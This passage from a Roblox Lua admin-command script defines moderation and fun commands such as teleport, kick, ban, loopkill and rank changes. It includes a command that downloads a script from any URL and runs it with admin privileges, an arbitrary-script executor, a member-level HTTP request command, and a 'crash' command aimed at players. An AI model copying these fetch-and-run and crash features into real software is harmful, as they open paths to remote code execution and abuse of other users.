5640 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5641 if Suc then
5642 for _,Player in pairs(Players) do
5643 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5644 end
5645 else
5646 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5647 end
5648 end)
5649 end};
5650
5651 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5652 local Players = STRING:Scan(Arguments[1], Speaker)
5653 for _,Player in pairs(Players) do
5654 local _,RankNum = RANK:GetRank(Player)
5655 if RankNum < RANK:ConvertRank(Rank) then
5656 Server.TS:Teleport(155307015, Player)
5657 end
5658 end
5659 end};
5660
5661 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5662 local Players = STRING:Scan(Arguments[1], Speaker)
5663 for _,Player in pairs(Players) do
5664 local _,RankNum = RANK:GetRank(Player)
5665 if RankNum < RANK:ConvertRank(Rank) then
5666 Server.TS:Teleport(347911447, Player)
5667 end
5668 end
5669 end};
5670
5671 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5672 local Players = STRING:Scan(Arguments[1], Speaker)
5673 for _,Player in pairs(Players) do
5674 CORE:GenerateShield(Player)
5675 end
5676 end};
5677
5678 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5679 local Players = STRING:Scan(Arguments[1], Speaker)
5680 for _,Player in pairs(Players) do
5681 if Player.Character then
5682 local Shield = Player.Character:FindFirstChild("Shield")
5683 if Shield then Shield:Destroy() end
5684 end
5685 end
5686 end};
5687
5688 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5689 local Num = tonumber(Arguments[1])
5690 if Num and Num ~= 0 then
5691 local Random = math.random(1,math.abs(Num))
5692 if Random == math.random(1,math.abs(Num)) then
5693 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5694 else
5695 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5696 end
5697 else
5698 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5699 end
5700 end};
5701
5702 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5703 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5704 IRC:AddChat(Speaker.Name, Arguments[1])
5705 end};
5706
5707 --[[
5708 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5709 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5710 if Res then
5711 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5712 end
5713 end, Http = true};
5714
5715 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5716 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5717 if Res then
5718 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5719 end
5720 end}, Http = true;
5721 ]]
5722
5723 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5724 IRC:Quit("Reconnecting")
5725 IRC:ConnectToServer(Settings.IRCServer)
5726 end};
5727
5728 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5729 local Players = STRING:Scan(Arguments[1], Speaker)
5730 for _,Player in pairs(Players) do
5731 local PreAdd = {}
5732 for _,Data in pairs(IRC.Chats) do
5733 local Error = nil
5734 if Rank == "Owner" then Error = Data[3] end
5735 table.insert(PreAdd, {Data[1], Data[2], Error})
5736 end
5737 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5738 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5739 if Rank ~= "Owner" then Error = nil end
5740 AddMessage:Invoke(UserName, Message, Error)
5741 end)
5742 SendPressed.Event:connect(function(Text)
5743 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5744 IRC:AddChat(Player.Name, Text)
5745 end)
5746 end
5747 end};
5748
5749 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5750 local Players = STRING:Scan(Arguments[1], Speaker)
5751 for _,Player in pairs(Players) do
5752 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5753 if Type == "Leave" then
5754 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5755 elseif Type == "Join" then
5756 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5757 end
5758 end)
5759 PriChat.Chatted.Event:connect(function(UserName, Message)
5760 AddMessage:Invoke(UserName, Message)
5761 end)
5762 SendPressed.Event:connect(function(Text)
5763 PriChat.Chatted:Fire(Player.Name, Text)
5764 table.insert(PriChat.Chats, {Player.Name, Text})
5765 end)
5766 end
5767 end};
5768
5769 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5770 ExecuteSafe(Arguments[1], Speaker)
5771 end};
5772
5773 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5774 local Script = REMOTE:GetURL(Arguments[1], Player)
5775 if Script then
5776 ExecuteSafe(Script, Speaker)
5777 end
5778 end, Http = true};
5779
5780 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5781 local Time = tick()
5782 local Res = REMOTE:GetURL(Arguments[1], Player)
5783 if Res then
5784 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5785 end
5786 end, Http = true};
5787
5788 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5789 CORE:RemoveAdmin(Speaker)
5790 end};
5791
5792 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5793 for _,Player in pairs(Server.Players:GetPlayers()) do
5794 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5795 end
5796 end};
5797
5798 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5799 local Players = STRING:Scan(Arguments[1], Speaker)
5800 local Debt = nil
5801 for _,Player in pairs(Players) do
5802 if not Debt then
5803 Debt = GUI:ShowDebtStats(Player)
5804 else
5805 GUI:ShowDebtStats(Player, Debt)
5806 end
5807 end
5808 end, Http = true};
5809
5810 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5811 local Players = STRING:Scan(Arguments[1], Speaker)
5812 for _,Player in pairs(Players) do
5813 GUI:CreateHUD(Player)
5814 end
5815 end};
5816
5817 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5818 local Players = STRING:Scan(Arguments[1], Speaker)
5819 for _,Player in pairs(Players) do
5820 if Player:FindFirstChild("PlayerGui") then
5821 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5822 if HUD then HUD:Destroy() end
5823 end
5824 end
5825 end};
5826
5827 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5828 local Players = STRING:Scan(Arguments[1], Speaker)
5829 GUI:Vote(Speaker, Players, Arguments[2], 30)
5830 end};
5831
5832 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5833 local Players = STRING:Scan(Arguments[1], Speaker)
5834 for _,Player in pairs(Players) do
5835 CORE:ExecuteResource("Bomb", Player.Character)
5836 end
5837 end};
5838
5839 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5840 local Players = STRING:Scan(Arguments[1], Speaker)
5841 for _,Player in pairs(Players) do
5842 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5843 CORE:RestoreCamera(Player)
5844 end
5845 end};
5846
5847 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5848 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5849 CORE:RestoreCamera(Speaker)
5850 end};
5851
5852 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5853 local Players1 = STRING:Scan(Arguments[1], Speaker)
5854 local Players2 = STRING:Scan(Arguments[2], Speaker)
5855 for _,Player1 in pairs(Players1) do
5856 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5857 for _,Player2 in pairs(Players2) do
5858 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5859 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5860 end
5861 end
5862 end
5863 end
5864 end};
5865
5866 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5867 local Players = STRING:Scan(Arguments[1], Speaker)
5868 for _,Player in pairs(Players) do
5869 Player:LoadCharacter()
5870 end
5871 end};
5872
5873 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5874 local Players = STRING:Scan(Arguments[1], Speaker)
5875 for _,Player in pairs(Players) do
5876 CORE:RestoreCamera(Player)
5877 end
5878 end};
5879
5880 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5881 local Players = STRING:Scan(Arguments[1], Speaker)
5882 for _,Player in pairs(Players) do
5883 CORE:Jail(Player)
5884 end
5885 end};
5886
5887 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5888 local Players = STRING:Scan(Arguments[1], Speaker)
5889 for _,Player in pairs(Players) do
5890 CORE:UnJail(Player)
5891 end
5892 end};
5893
5894 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5895 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5896 end};
5897
5898 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5899 SOUND:StopSpeaking()
5900 end};
5901
5902 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5903 local Players = STRING:Scan(Arguments[1], Speaker)
5904 local Compile = {}
5905 for Num,Player in pairs(Players) do
5906 local PlayerRank = RANK:GetRank(Player)
5907 local PlayerInfo = ClientInfo[Player.Name]
5908 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5909 table.insert(Compile, "User ID: "..Player.UserId)
5910 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5911 table.insert(Compile, "Rank: "..PlayerRank)
5912
5913 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5914 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5915 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5916 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5917 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5918 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5919 if PlayerInfo.Benchmark then
5920 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5921 end
5922 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5923 end
5924 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5925 end};
5926
5927 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5928 if tonumber(Arguments[2]) then
5929 local Players = STRING:Scan(Arguments[1], Speaker)
5930 for _,Player in pairs(Players) do
5931 coroutine.wrap(function()
5932 if Player.Character then
5933 table.insert(LoopKills, Player.Name)
5934 local Loop = nil
5935 local PrevChar = nil
5936
5937 for i = 1,tonumber(Arguments[2]) do
5938 local Char = Player.Character
5939 if PrevChar and PrevChar ~= Char then
5940 PrevChar:Destroy()
5941 end
5942 PrevChar = Char
5943 local CanDie = true
5944 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5945 if CanDie == false then
5946 break
5947 end
5948 ypcall(function() Char.Parent = Server.Lighting end)
5949 wait(0.1)
5950 ypcall(function() Char.Parent = Server.Workspace end)
5951 wait(0.1)
5952 end
5953 end
5954 end)()
5955 end
5956 else
5957 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5958 end
5959 end};
5960
5961 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5962 local Players = STRING:Scan(Arguments[1], Speaker)
5963 for _,Player in pairs(Players) do
5964 for Num,Name in pairs(LoopKills) do
5965 if Player.Name == Name then
5966 table.remove(LoopKills, Num)
5967 end
5968 end
5969 end
5970 end};
5971
5972 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5973 SOUND:PlayGlobalSound(Arguments[1])
5974 end};
5975
5976 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5977 SOUND:StopGlobalSound()
5978 SOUND:ClearInfo()
5979 end};
5980
5981 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5982 local Pitch = tonumber(Arguments[1])
5983 if not Pitch then Pitch = 1 end
5984 if Sound then
5985 Sound.Pitch = Pitch
5986 end
5987 end};
5988
5989 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5990 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5991 local Items = MARKET:SearchItem(9, Arguments[1])
5992 if Items then
5993 if #Items ~= 0 then
5994 local List,Correlate = {},{}
5995 for Num,Info in pairs(Items) do
5996 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5997 table.insert(List, Display)
5998 Correlate[Display] = Info.AssetId
5999 end
6000 CloseGui:Invoke()
6001
6002 local CanClick = true
6003 if Rank == "Member" then CanClick = false end
6004 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
6005 Clicked.Event:connect(function(ClickName)
6006 local OldSoundId = nil
6007 SOUND:StopGlobalSound()
6008 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6009 SOUND:PlayGlobalSound(Correlate[ClickName])
6010 end
6011 end)
6012 else
6013 CloseGui:Invoke()
6014 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
6015 end
6016 else
6017 CloseGui:Invoke()
6018 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
6019 end
6020 end, Http = true};
6021
6022 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
6023 local Players = STRING:Scan(Arguments[1], Speaker)
6024 for _,Player in pairs(Players) do
6025 if Player.Character then
6026 CORE:ExecuteResource("Gun", Player.Character)
6027 end
6028 end
6029 end};
6030
6031 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
6032 local Players = STRING:Scan(Arguments[1], Speaker)
6033 for _,Player in pairs(Players) do
6034 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
6035 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
6036 Player.Character.Humanoid.WalkSpeed = 0
6037 Player.Character.Torso.Anchored = true
6038 coroutine.wrap(function()
6039 local OldCFrame = Player.Character.Torso.CFrame
6040 for i = 0,8,0.1 do
6041 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
6042 wait()
6043 end
6044 Player.Character.Torso.Anchored = false
6045 Player.Character:BreakJoints()
6046 CORE:InvisiblePlayer(Player)
6047 end)()
6048 end
6049 end
6050 end};
6051
6052 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6053 local Players = STRING:Scan(Arguments[1], Speaker)
6054 for _,Player in pairs(Players) do
6055 CORE:AnchorPlayer(Player)
6056 end
6057 end};
6058
6059 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6060 local Players = STRING:Scan(Arguments[1], Speaker)
6061 for _,Player in pairs(Players) do
6062 CORE:UnanchorPlayer(Player)
6063 end
6064 end};
6065
6066 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6067 local Players = STRING:Scan(Arguments[1], Speaker)
6068 for _,Player in pairs(Players) do
6069 CORE:InvisiblePlayer(Player)
6070 end
6071 end};
6072
6073 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6074 local Players = STRING:Scan(Arguments[1], Speaker)
6075 for _,Player in pairs(Players) do
6076 CORE:VisiblePlayer(Player)
6077 end
6078 end};
6079
6080 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6081 local Players = STRING:Scan(Arguments[1], Speaker)
6082 for _,Player in pairs(Players) do
6083 if Player.Character and Player.Character:FindFirstChild("Torso") then
6084 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6085 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6086 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6087 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6088 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6089 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6090 Fly:Play()
6091 local Touched = false
6092 coroutine.wrap(function()
6093 repeat wait(0.1)
6094 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6095 until not Ast or Ast.Parent == nil or Touched == true
6096 end)()
6097 Ast.Touched:connect(function(Part)
6098 if Touched == false then
6099 Touched = true
6100 Part:BreakJoints()
6101 local Boom = Instance.new("Explosion", Workspace)
6102 Boom.Position = Ast.Position
6103 Boom.BlastPressure = 1000000
6104 Boom.BlastRadius = 30
6105 Fire.Heat = 0
6106 Smoke.RiseVelocity = 0
6107 Fly:Stop()
6108 BoomSound:Play()
6109 coroutine.wrap(function()
6110 wait(3)
6111 BoomSound:Stop()
6112 if Ast and Ast.Parent ~= nil then
6113 Ast:Destroy()
6114 end
6115 end)()
6116 end
6117 end)
6118 end
6119 end
6120 end};
6121
6122 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6123 local Success = {}
6124 local Players = STRING:Scan(Arguments[1], Speaker)
6125 for _,Player in pairs(Players) do
6126 local PlayerRank = RANK:GetRank(Player)
6127 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6128 CORE:Kick(Player)
6129 table.insert(Success, Player)
6130 end
6131 end
6132 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6133 end};
6134
6135 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6136 local Success = {}
6137 local Players = STRING:Scan(Arguments[1], Speaker)
6138 for _,Player in pairs(Players) do
6139 local PlayerRank = RANK:GetRank(Player)
6140 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6141 RANK:RemoveRank(Player)
6142 table.insert(Settings.Ranks.Banned, Player.Name)
6143 CORE:Kick(Player)
6144 table.insert(Success, Player)
6145 end
6146 end
6147 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6148 end};
6149
6150 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6151 local Success = {}
6152 local Players = STRING:Scan(Arguments[1], Speaker)
6153 for _,Player in pairs(Players) do
6154 local PlayerRank = RANK:GetRank(Player)
6155 if PlayerRank ~= "Owner" then
6156 RANK:RemoveRank(Player)
6157 table.insert(Settings.Ranks.Crashed, Player.Name)
6158 CORE:Crash(Player)
6159 table.insert(Success, Player)
6160 end
6161 end
6162 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6163 end};
6164
6165 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6166 local Success = {}
6167 local Players = STRING:Scan(Arguments[1], Speaker)
6168 for _,Player in pairs(Players) do
6169 local PlayerRank = RANK:GetRank(Player)
6170 if PlayerRank ~= "Owner" then
6171 RANK:RemoveRank(Player)
6172 table.insert(Settings.Ranks.Muted, Player.Name)
6173 GUI:CoreGui(Player, "Chat", false)
6174 table.insert(Success, Player)
6175 end
6176 end
6177 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6178 end};
6179
6180 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6181 local Players = STRING:Scan(Arguments[1], Speaker)
6182 if #Players > 0 then
6183 local Success = {}
6184 for _,Player in pairs(Players) do
6185 local RankName,RankNum = RANK:GetRank(Player)
6186 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6187 if not RANK:IsSupremeOwner(Player) then
6188 if RankName == "Muted" then
6189 GUI:CoreGui(Player, "Chat", true)
6190 end
6191 if RankNum > 0 then
6192 GUI:TellNotAdmin(Player)
6193 end
6194 RANK:RemoveRank(Player)
6195 table.insert(Success, Player)
6196 end
6197 end
6198 end
6199 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6200 else
6201 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6202 if Player then
6203 local RankNum = RANK:ConvertRank(PlayerRank)
6204 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6205 if not RANK:IsSupremeOwner(Player) then
6206 RANK:RemoveRank(Player)
6207 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6208 end
6209 end
6210 end
6211 end
6212 end};
6213
6214 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6215 local Players = STRING:Scan(Arguments[1], Speaker)
6216 if #Players > 0 then
6217 local Success = {}
6218 for _,Player in pairs(Players) do
6219 local PlayerRank,RankNum = RANK:GetRank(Player)
6220 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6221 RANK:RemoveRank(Player)
6222 table.insert(Settings.Ranks.Member, Player.Name)
6223 GUI:TellAdmin(Player)
6224 table.insert(Success, Player)
6225 end
6226 end
6227 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6228 else
6229 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6230 if Player then
6231 local RankNum = RANK:ConvertRank(PlayerRank)
6232 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6233 if not RANK:IsSupremeOwner(Player) then
6234 RANK:RemoveRank(Player)
6235 table.insert(Settings.Ranks.Member, Player)
6236 end
6237 end
6238 else
6239 RANK:RemoveRank(Arguments[1])
6240 table.insert(Settings.Ranks.Member, Arguments[1])
6241 end
6242 end
6243 end};
6244
6245 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6246 local Players = STRING:Scan(Arguments[1], Speaker)
6247 if #Players > 0 then
6248 local Success = {}
6249 for _,Player in pairs(Players) do
6250 local PlayerRank,RankNum = RANK:GetRank(Player)
6251 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6252 RANK:RemoveRank(Player)
6253 table.insert(Settings.Ranks.Admin, Player.Name)
6254 GUI:TellAdmin(Player)
6255 table.insert(Success, Player)
6256 end
6257 end
6258 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6259 else
6260 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6261 if Player then
6262 local RankNum = RANK:ConvertRank(PlayerRank)
6263 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6264 if not RANK:IsSupremeOwner(Player) then
6265 RANK:RemoveRank(Player)
6266 table.insert(Settings.Ranks.Admin, Player)
6267 end
6268 end
6269 else
6270 RANK:RemoveRank(Arguments[1])
6271 table.insert(Settings.Ranks.Admin, Arguments[1])
6272 end
6273 end
6274 end};
6275
6276 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6277 local Players = STRING:Scan(Arguments[1], Speaker)
6278 if RANK:IsSupremeOwner(Speaker) then
6279 if #Players > 0 then
6280 local Success = {}
6281 for _,Player in pairs(Players) do
6282 if not RANK:IsSupremeOwner(Player) then
6283 RANK:RemoveRank(Player)
6284 table.insert(Settings.Ranks.Owner, Player.Name)
6285 GUI:TellAdmin(Player)
6286 table.insert(Success, Player)
6287 end
6288 end
6289 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6290 else
6291 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6292 if Player then
6293 local RankNum = RANK:ConvertRank(PlayerRank)
6294 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6295 if not RANK:IsSupremeOwner(Player) then
6296 RANK:RemoveRank(Player)
6297 table.insert(Settings.Ranks.Owner, Player)
6298 end
6299 end
6300 else
6301 RANK:RemoveRank(Arguments[1])
6302 table.insert(Settings.Ranks.Owner, Arguments[1])
6303 end
6304 end
6305 end
6306 end};
6307
6308 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6309 local TableStorage = {}
6310 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6311 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6312 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
